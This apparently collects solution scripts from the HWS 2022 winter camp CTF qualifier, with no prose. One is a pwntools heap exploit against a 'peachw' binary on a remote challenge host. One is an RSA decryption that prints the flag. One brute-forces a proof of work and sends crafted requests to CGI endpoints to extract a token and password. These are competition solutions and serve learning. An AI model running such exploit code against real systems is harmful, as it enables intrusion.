HWS冬令营线上选拔赛2022

from pwn import *
import time
context(log_level='debug',arch='amd64')

local=0
binary_name='peachw'

libc=ELF("./libc/libc-2.26.so")
e=ELF("./"+binary_name)
def exp():
	if local:
		p=process("/home/x1ng/pwn/hws/libc/"+binary_name)
	else:
		p=remote('1.13.162.249',   10003)
		

	def z(a=''):
		if local:
		    gdb.attach(p,a)
		    if a=='':
		        raw_input
		else:
		    pass
	ru=lambda x:p.recvuntil(x)
	rc=lambda x:p.recv(x)
	sl=lambda x:p.sendline(x)
	sd=lambda x:p.send(x)
	sla=lambda a,b:p.sendlineafter(a,b)
	ia=lambda : p.interactive()


	def leak_address():
		if(context.arch=='i386'): 
			return u32(p.recv(4)) 
		else :
			return u64(p.recv(6).ljust(8,b'\x00'))

	def cho(num):
		ru('Your choice:')
		sd(p32(num)+b'\x00')
		
	def add(idx, sz, name, des):
		cho(1)
		sla('Index ?',str(idx))
		sla('name your peach  : ',name)
		sla('size of your peach:', str(sz))
		ru('descripe your peach :')
		sd(des)
		
	def add2(idx, name):
		cho(1)
		sla('Index ?',str(idx))
		sla('name your peach  : ',name)
		sla('size of your peach:', str(0x80))
		
	def delete(idx):
		cho(2)
		sla('Index ?',str(idx))
		
	def eat(idx, num):
		cho(3)
		sla('Index ?',str(idx))
		ru('lucky number?')
		sd(p32(num)+b'\x00')
		
	def draw(idx, sz, data):
		cho(4)
		sla('Index ?',str(idx))
		ru('size of your peach : ')
		sd(p32(sz)+b'\x00')
		ru('your peach')
		sd(data)
		
	sla('Do you like peach?','yes\x00'.ljust(0x1c,'a'))
	ru('The peach is ')
	su = int(ru('\n')[:-1])-0x60
	print(hex(su))
	

	pd=b'a'*0x198+p16(su)
	draw(-0x24,0x420, pd)
	
	add(1,0x420,'X1ng','1'*0x100)
	add(2,0x420,'X1ng','1'*0x100)
	add(3,0x420,'X1ng','1'*0x100)
	delete(1)
	add2(0,'a')

	delete(0)
	ia()


exp()

import os
#from secret import FLAG,p,q,e

from Crypto.Util.number import bytes_to_long,long_to_bytes
import gmpy2


def encrypt(m,N,e):
	return pow(m,e,N)

def decrypt(c,N,d):
	return pow(c,d,N)

p=98197216341757567488149177586991336976901080454854408243068885480633972200382596026756300968618883148721598031574296054706280190113587145906781375704611841087782526897314537785060868780928063942914187241017272444601926795083433477673935377466676026146695321415853502288291409333200661670651818749836420808033
q=133639826298015917901017908376475546339925646165363264658181838203059432536492968144231040597990919971381628901127402671873954769629458944972912180415794436700950304720548263026421362847590283353425105178540468631051824814390421486132775876582962969734956410033443729557703719598998956317920674659744121941513
e=2199344405076718723439776106818391416986774637417452818162477025957976213477191723664184407417234793814926418366905751689789699138123658292718951547073938244835923378103264574262319868072792187129755570696127796856136279813658923777933069924139862221947627969330450735758091555899551587605175567882253565613163972396640663959048311077691045791516671857020379334217141651855658795614761069687029140601439597978203375244243343052687488606544856116827681065414187957956049947143017305483200122033343857370223678236469887421261592930549136708160041001438350227594265714800753072939126464647703962260358930477570798420877
c=1492164290534197296766878830710549288168716657792979479408332026408553210558539364503279432780006256047888761718878241924947937039103166564146378209168719163067531460700424309878383312837345239570897122826051628153030129647363574035072755426112229160684859510640271933580581310029921376842631120847546030843821787623965614564745724229763999106839802052036834811357341644073138100679508864747009014415530176077648226083725813290110828240582884113726976794751006967153951269748482024859714451264220728184903144004573228365893961477199925864862018084224563883101101842275596219857205470076943493098825250412323522013524
N=13123058934861171416713230498081453101147538789122070079961388806126697916963123413431108069961369055630747412550900239402710827847917960870358653962948282381351741121884528399369764530446509936240262290248305226552117100584726616255292963971141510518678552679033220315246377746270515853987903184512948801397452104554589803725619076066339968999308910127885089547678968793196148780382182445270838659078189316664538631875879022325427220682805580410213245364855569367702919157881367085677283124732874621569379901272662162025780608669577546548333274766058755786449491277002349918598971841605936268030140638579388226573929

if __name__ == "__main__":

	d = gmpy2.invert(e, (p-1)*(q-1))
	print(d)
	p = gmpy2.powmod(c, d, N)
	print(long_to_bytes(decrypt(c,N,d)))
    
#b'hwctf{01d_Curs3_c4Me_Again}vG\x03MC\xcd\xfd\x1d\x0bO\xcaV\x9b\x87vk\xd6\xb3\xbb\x8f\xc5\xd61\xdf7\x0f\x90\xc6\x17oj]\xf5J\xd4\xa9\xcc\xdb\xbe?\xb2(\xf0\xb2\xb6\x99b\xa7e\xa8\x82\xf7SY\xc7\xd9\xde\xc4\xb5\xe3q\xc1\xe8\xfeM\xbd\xbe\xfdD\xed\xb3\x12~\x9d\xba\xa4\xb0\xfek\x81\xc4-\x82\xb3%\xae4\x7fGl\x9a\xac\xc3\x91\xc1\xbc\x04\x03o\xa4\x8d'

import requests
from pwn import *
context(arch='arm',endian='little',os='linux')
from pwnlib.util.iters import mbruteforce
from hashlib import sha256

local = 1
ok=0

port = b'15501'
token = 'c5acda94780241313bb0f14354b623d3cc08bf7ea9747601129c7892f274c451'

if local!=1 and ok!=1:
	sh=remote("1.13.193.80","8080")
	sh.recvuntil('sha256("')
	prefix = sh.recvuntil('"').decode("utf8")[:-1]
	print(prefix)


	def checkHash(content, result):
		result = result.strip()
		s = sha256(content.encode('latin1')+result.encode('latin1'))
		if s.hexdigest().find("000000")!=-1 and int(s.hexdigest()[6:8], 16) < 0x40:
		    return True
		return False

	i = 0
	while True:
		i += 1
		if checkHash(prefix,str(i)):
		    print(i)
		    break
	sh.sendlineafter(">", str(i))
	sh.recvuntil('Here your port: ')
	port = sh.recvuntil('\n')[:-1]
	url1 = "http://1.13.193.80:"+port.decode()+"/game.cgi"
	url2 = "http://1.13.193.80:"+port.decode()+"/flag.cgi"
	
	pd1 = {
	"Host": "www.X1ng.top",
	}
	pd2 = 'username='+'a'*0x20+'&step=dssssssssdssdsddssasaassasssddwwddwwdwddwddssdsddssdsddwwddddssd'

	for i in range(256*4):
		r = requests.post(url1, headers=pd1, data=pd2)
		if 'Great!' in r.text:
			print('[+]times: '+str(i))
			break
			
	token = r.text[115:179]
	print("[+]token: "+token)
	print(b"[+]port: "+port)

elif local!=1 and ok==1:
	url1 = "http://1.13.193.80:"+port.decode()+"/game.cgi"
	url2 = "http://1.13.193.80:"+port.decode()+"/flag.cgi"
    
elif local==1:
	url1 = "http://0.0.0.0:8080/game.cgi"
	url2 = "http://0.0.0.0:8080/flag.cgi"

	pd1 = {
	"Host": "www.X1ng.top",
	}
	pd2 = 'username='+'a'*0x20+'&step=dssssssssdssdsddssasaassasssddwwddwwdwddwddssdsddssdsddwwddddssd'

	for i in range(256*4):
		r = requests.post(url1, headers=pd1, data=pd2)
		if 'Great!' in r.text:
			print('[+]times: '+str(i))
			break
			
	token = r.text[115:179]
	print("[+]token: "+token)
	print("[+]port: "+port.decode())

pd1 = {
"Host": "www.x1ng.top",
"token": token
}

p1 = ['111111' ,'110100' ,'110010' ,'110001' ,'101100' ,'100110' ,'100011' ,'101010' ,'101001' ,'100101']
ji = ['0001101' ,'0011001','0010011','0111101','0100011','0110001','0101111','0111011','0110111','0001011']
ou = ['0100111','0110011','0011011','0100001','0011101','0111001','0000101','0010001','0001001','0010111']
p3 = ['1110010','1100110','1101100','1000010','1011100','1001110','1010000','1000100','1001000','1110100']



#remote secret: 

#5:100110 :


#5:0110001:

#8:0001001:

#5:0111001:

#5:0110001:

#9:0001011:

#2:0011011:


#6:1010000:p3[6]+p3[i]+p3[i]+p3[i]+p3[i]+p3[i]

#4:1011100:p3[6]+p3[4]+p3[i]+p3[i]+p3[i]+p3[i]

#5:1001110:p3[6]+p3[4]+p3[5]+p3[i]+p3[i]+p3[i]

#2:1101100:p3[6]+p3[4]+p3[5]+p3[2]+p3[i]+p3[i]

#2:1101100:p3[6]+p3[4]+p3[5]+p3[2]+p3[2]+p3[i]

#8:1001000:p3[6]+p3[4]+p3[5]+p3[2]+p3[2]+p3[8]


#pd2='101'+'011000100010010111001011000100010110011011'+'01010'+'101000010111001001110110110011011001001000'+'101'

pd2='101' + ji[5]+ou[8]+ou[5]+ji[5]+ji[9]+ou[2] + '01010' + p3[6]+p3[4]+p3[5]+p3[2]+p3[2]+p3[8] + '101'


#local secret: '6'+'852385'+'810484'

#pd2='101'+'011011101110010011011010000101101110110001'+'01010'+'100100011001101110010101110010010001011100'+'101'


r = requests.post(url2, headers=pd1, data=pd2)
print(r.text)

off = r.text.encode().find(b'passwd: ')+8
print(r.text.encode()[off:off+14])